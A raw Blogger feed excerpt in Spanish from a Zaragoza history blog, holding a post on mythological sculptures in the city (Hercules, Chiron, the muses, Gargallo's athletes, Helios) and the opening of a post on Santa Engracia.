src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdAOr73tQd2Bxpj20vzPA9B6Td2SmzbaDDFk-ee-UgK1b9Mfgp5RkamYinSdMJRQVTCaUN5KkKPL1Fasvl8P8DNH7Qe2Gp32yEylIlrdcwMFEz7SsVDgmDNlsEf6tXcRx3DBBDIJsW4e4p/w227-h386/Portada+Audiencia+2.jpg&quot; width=&quot;227&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;HÉRCULES&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Las hazañas de
Hércules son, quizá, más conocidas que las de Teseo, pero quizá no tanto la que
tiene que ver con Aragón; pues dice la leyenda que un monstruo que vivía en una
cueva en un monte solitario (¡Ahora me acuerdo del dragón smauk!) perturbaba la
paz de los ganados y pastores de la zona: el Moncayo. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Las gentes que allí
vivían, pidieron ayuda al héroe de gran fama que pasaba de camino a uno de sus
trabajos por haber matado a sus hijos en un momento de enajenación mental o
locura: robar el ganado de Gerión.&lt;br /&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;La cosa es que
Hércules se encargó de matar al monstruo Caco que aterrorizaba a las buenas
gentes del lugar y siguió su camino. Hércules, como vemos en la representación
escultórica usaba como arma la clava y como protección la piel del león de
Nemea (otro de sus trabajo&lt;/span&gt;s).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: left;&quot;&gt;Otro animal mitológico, pero en este
caso no es un monstruo es el centauro Quirón.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; text-align: left;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;QUIRÓN&lt;/span&gt; &lt;/b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;(Localizado en el parque José Antonio Labordeta)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHPb7TTPLNcVFNKbJw6nDLSNi2Evgm9Ptb0AbzKkIsG84BxfRegtRXiH6TiyrgCja4K1Ia3NDTu0OSpuHXI-XvuWOMG5DFy-eO2NsaDD3lStotdO94-gk6dkbtJ49ElMgGg7fZn5r9eTNX/s1500/Quir%25C3%25B3n7.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;1107&quot; height=&quot;409&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHPb7TTPLNcVFNKbJw6nDLSNi2Evgm9Ptb0AbzKkIsG84BxfRegtRXiH6TiyrgCja4K1Ia3NDTu0OSpuHXI-XvuWOMG5DFy-eO2NsaDD3lStotdO94-gk6dkbtJ49ElMgGg7fZn5r9eTNX/w302-h409/Quir%25C3%25B3n7.jpg&quot; width=&quot;302&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;QUIRÓN&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: justify;&quot;&gt;Este ser
mitológico que podemos encontrar en el “Parque Grande” de Zaragoza forma parte
de un grupo escultórico junto a un busto del doctor Cerrada, médico, político,
presidente del Colegio de Médicos de Zaragoza y vicerrector de la Universidad
de esta ciudad.&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;¿Qué mejor émulo
para este médico tan polifacético que el sabio centauro? Pues, por si no lo
sabéis, este ser mitad hombre, mitad caballo instruyó, entre otros, a Aquiles
(el que mató a Héctor en la guerra de Troya). &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Intuyo que a
estas alturas os estaréis preguntando dónde está la relación entre estos dos
personajes tan famosos. La mitología ya nos ha aventurado algo, que es muy
sabio, pero ¿y la etimología? Pues la disciplina que estudia las palabras nos
dice que Quirón está
relacionado con la palabra que en griego significa ‘mano’. Mi pregunta es…
¿puede ser que el que seas muy habilidoso con las manos esté relacionado con el
quirófano y las operaciones de los médicos? Además de ser muy sabio,
evidentemente. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Y hablando de
sabiduría, la figura de Quirón también está relacionada con las artes, igual
que las musas. No sé si os habéis fijado en el tejado del Teatro Principal de
Zaragoza alguna vez. Está coronado por las musas de las artes:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;Talía,
Melpómene, Euterpe y Terpsícore.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;TALÍA, MELPÓMENE, EUTERPE y TERPSÍCORE&lt;/span&gt;&amp;nbsp; &lt;/b&gt;(Localizadas en lo alto del Teatro Principal)&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhskvFW3W_33J0BNln3FOfN4cNAtN_s3gKOyLbENclmjKNT4ONqacO0mgIaymdjc9iqs4Gyy2ermM2zuzXR8MM0Rg8gdXta7u1O5mZfppFdNz2jPLOg5p6oq5PfI0uf29yNqMPHh-SUap/s1500/Musas+teatro+principal+7.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;736&quot; data-original-width=&quot;1500&quot; height=&quot;328&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhskvFW3W_33J0BNln3FOfN4cNAtN_s3gKOyLbENclmjKNT4ONqacO0mgIaymdjc9iqs4Gyy2ermM2zuzXR8MM0Rg8gdXta7u1O5mZfppFdNz2jPLOg5p6oq5PfI0uf29yNqMPHh-SUap/w670-h328/Musas+teatro+principal+7.jpg&quot; width=&quot;670&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;MUSAS DE LAS ARTES&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;Pero ¿qué sería
de nosotros si solo desarrolláramos la cultura y no el deporte? Pues que no nos
podríamos sentar en las butacas del teatro, básicamente. Como dijo Juvenal “&lt;/span&gt;&lt;i style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;mens sana in corpore sano&lt;/i&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;”. Y para
demostrar este aforismo qué mejor ejemplo que esta escultura del gran Pablo
Gargallo (1929).&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;SALUDO OLÍMPICO &lt;/b&gt;(Localizados en la plaza de S. Felipe)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;1133&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOPzM79mfzldp59SPQojtVowX7U42MOe7tKISE_Ic9u8XFQsl-dW37pCwzWHzlA1R8Zd2AQ7iB-5VF8vDaycHM5jQGkPlGyjPGs7sbPU2elLC6omUYwj0PTEy12RUYZ3Pvb19phkcSmbXd/w302-h400/Saludo+ol%25C3%25ADmpico+El+atleta+moderno+GARGALLO+1929+8.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;302&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ATLETA MODERNO&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;clear: right; float: right; font-family: arial; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/span&gt;No es un Pegaso
y está más relacionado con los Juegos Olímpicos y por eso se nos desgaja un
poco de la narración mitológica, pero aún así, el caballo o la yegua tiene un
arraigado simbolismo mitológico y psíquico, sobre todo como animal psicopompo o
animal que ayuda a que el alma de los seres humanos se transporte al más allá.
Y, por otro lado, no podíamos dejar de nombrar a Pablo Gargallo como escultor
que ha dejado huella en nuestra ciudad.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0eDhy_ckfSI0rzl-fB4I6zXV83i9se4X7pB6gTbtEAerOkyggfAuKcuQgEWlRN1QgwGY07XLCnAp8luBl3xqKBuy5o1YuMpsRLWrN-ftLPMxi6HRLJry_kDgbt3jf4bTTESXEl0YeL56R/s1500/Saludo+ol%25C3%25ADmpico+El+atleta+cl%25C3%25A1sico+GARGALLO+1929+9.jpg&quot; style=&quot;clear: left; display: inline; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;1133&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0eDhy_ckfSI0rzl-fB4I6zXV83i9se4X7pB6gTbtEAerOkyggfAuKcuQgEWlRN1QgwGY07XLCnAp8luBl3xqKBuy5o1YuMpsRLWrN-ftLPMxi6HRLJry_kDgbt3jf4bTTESXEl0YeL56R/w303-h400/Saludo+ol%25C3%25ADmpico+El+atleta+cl%25C3%25A1sico+GARGALLO+1929+9.jpg&quot; width=&quot;303&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ATLETA CLÁSICO&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Para ir
terminado, volvemos a la portada del Palacio de los condes de Morata, actual Audiencia Provincial de Zaragoza, situada en la calle Coso, nº 1.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;color: #202020; font-family: arial; font-size: 12pt;&quot;&gt;¿Qué
hay más mitológico que convertir en divinidades los días y las noches? Al
principio de los tiempos, la mitología servía a los seres humanos para explicar
aquellas cosas que no podían ser explicadas de otra manera.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;color: #202020; font-family: arial; font-size: 12pt;&quot;&gt;Helios es el dios Sol. Aunque no en todas las mitologías el Sol es
masculino y la Luna femenina. Este fenómeno lo podemos observar, por ejemplo,
en alemán. En la tradición germánica los géneros de las palabras están
cambiados.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: medium;&quot;&gt;&lt;b&gt;EL SOL&amp;nbsp; &lt;/b&gt;(Localizado en el frontón de la Audiencia)&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmSQSmRHIPcIBOHQGc6Qm6kfE822sFmsSUBC-H34iVCLDcoqFdO71Ol2EUZK985pw-tdpersNZok9WrF9XnrDUvb4fKdo1ZX1O3_sg3G7qxzYTjgApsR06_9hFG8ZFKLWtg7aPeq1WbFDz/s1500/Portada+Audiencia+4+SOL+8.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1113&quot; data-original-width=&quot;1500&quot; height=&quot;338&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmSQSmRHIPcIBOHQGc6Qm6kfE822sFmsSUBC-H34iVCLDcoqFdO71Ol2EUZK985pw-tdpersNZok9WrF9XnrDUvb4fKdo1ZX1O3_sg3G7qxzYTjgApsR06_9hFG8ZFKLWtg7aPeq1WbFDz/w456-h338/Portada+Audiencia+4+SOL+8.jpg&quot; width=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;HELIOS&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;Sin embargo el
Sol por algo es el astro rey y tiene gran importancia para la vida en nuestro
planeta. Aunque no siempre, según la mitología, estuvo en su sitio, pues
Faetón, hijo de Helios, un buen día (o malo, según se mire) tomó el carro de su
padre para demostrar su valía.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;El hijo, aún un
neófito en esas lides, no pudo dominar los caballos que tiraban del carro
desbocados al no reconocer a su dueño y acabó descendiendo y acercándose
demasiado a la tierra, que acabó chamuscadilla. Ese es el origen del desierto
del Sáhara y la razón de que la mayoría de los habitantes de África tengan la
piel de color oscuro. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Al final, Helios
tuvo que tomar cartas en el asunto y derribar a su hijo Faetón del carro con un
rayo. Este cayó a un río y se ahogó. Sus hermanas se apenaron tanto que, según
Ovidio en las Metamorfosis, se convirtieron en álamos y sus lágrimas en ámbar. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: justify;&quot;&gt;Con esta bella
alusión a la naturaleza terminamos esta selección de esculturas de carácter
mitológico.&amp;nbsp; &amp;nbsp; &amp;nbsp;Nosotros hemos seleccionado estas, pero ¿y vosotros? ¿Conocéis
otras esculturas? ¿Se encuentran en otras ciudades de Aragón? Contadnos por
favor y ya sabéis… la mitología nos rodea.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;div style=&quot;text-align: right;&quot;&gt;Jorge M. Bernad&lt;/div&gt;&lt;/span&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOPzM79mfzldp59SPQojtVowX7U42MOe7tKISE_Ic9u8XFQsl-dW37pCwzWHzlA1R8Zd2AQ7iB-5VF8vDaycHM5jQGkPlGyjPGs7sbPU2elLC6omUYwj0PTEy12RUYZ3Pvb19phkcSmbXd/s1500/Saludo+ol%25C3%25ADmpico+El+atleta+moderno+GARGALLO+1929+8.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/8088084759678786525/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/10/sabias-que-en-zaragoza.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8088084759678786525'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8088084759678786525'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/10/sabias-que-en-zaragoza.html' title='Esculturas mitológicas'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNdEL-l3PGbGmWc57U5bNRQvCdc-MqKZKh0ckkTXPwptLC0eHywW4ZrwguTVOThwxNM7t9ScZkuY0Ka42FYz7yGDRZJF3oKE4rIQa_HTQfUn6CR8VaoB9OjfQwQrT1E-xRksyr2nNcJ7Wa/s72-w337-h256-c/drag%25C3%25B3n+1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-6233735513434201693</id><published>2020-08-21T20:40:00.007+02:00</published><updated>2020-11-07T19:37:26.973+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MODERNA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>Santa Engracia</title><content type='html'>&lt;div&gt;&lt;i&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;b&gt;¿Sabías que ... Santa Engracia fue patrona de Zaragoza?&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
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&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjch2MKWbzkIVBd5rJ9XRCEPEODqgZDvxFceseqqyhTP1sw26e1SidQcPE38YnyXGAYoV7AUxBFwl-33ut1XtYuyxx9YHN5GGdBnXg8V8J1lXa-_Sw_FUGwynZxIHNH2s6-dqaxwdTpHu9p/s1600/Iglesia+actual.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1049&quot; data-original-width=&quot;1000&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjch2MKWbzkIVBd5rJ9XRCEPEODqgZDvxFceseqqyhTP1sw26e1SidQcPE38YnyXGAYoV7AUxBFwl-33ut1XtYuyxx9YHN5GGdBnXg8V8J1lXa-_Sw_FUGwynZxIHNH2s6-dqaxwdTpHu9p/s320/Iglesia+actual.jpg&quot; width=&quot;305&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;La iglesia actual&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&lt;span&gt;Santa Engracia fue patrona de la ciudad hasta que su patronazgo fue sustituido &lt;/span&gt;&lt;span&gt;en 1642 por el de la Virgen del Pilar. &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
La devoción y culto a Santa Engracia era antiquísima en Zaragoza,
partía de los orígenes del cristianismo cuando sus seguidores fueron
perseguidos por las autoridades del Imperio Romano, que veían a las comunidades
cristianas como una amenaza para las tradiciones del Imperio.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Durante la persecución de Diocleciano (S. IV), la más dura de todas
ellas, según relato de Prudencio&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;1 &lt;/span&gt;&lt;/b&gt;(398-400), esta santa sufrió tormento y murió en
nuestra ciudad, junto con sus compañeros, siendo sus restos depositados a
extramuros, en lo que debió ser una necrópolis romana.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Según la tradición, confirmada hoy por la arqueología, ya en fecha muy
temprana sobre el sitio donde había sido enterrada se construyó en su memoria una
basílica paleocristiana, que perduró en el tiempo extendiéndose su fama fuera
de nuestras fronteras por lo que fue punto de peregrinaciones en época
visigoda.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
Según narra Fray Diego Murillo&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;2,&lt;/span&gt;&lt;/b&gt; en el s. VI se construyó en ese lugar una
abadía benedictina de la que fue abad Marco Máximo, quien posteriormente fue
obispo de Zaragoza:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt;“..seria cerca de los años del Señor de
537, o pocos años después, fundaron allí Convento los Padres Benitos: porq
Marco Maximo dize que si, que fue Abad del Monasterio de las Santas massas, y
es cierto, que antes q el lo fuesse algunos años, estaría ya fundado el
Convento.”&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
Y sigue diciendo que años después:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt;“el glorioso S.
Braulio reedificó la Iglesia de aquel convento…”&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span style=&quot;color: #0070c0;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp;El culto a esas reliquias, las
llamadas Santas Masas, pervivió durante la dominación islámica de la ciudad,
constituyendo uno de los dos núcleos mozárabes de Saraqusta, y tras la conquista
de la ciudad siguió como lugar de culto y parroquia, donada por Alfonso el
Batallador a la diócesis de Huesca. &lt;/div&gt;
&lt;/div&gt;
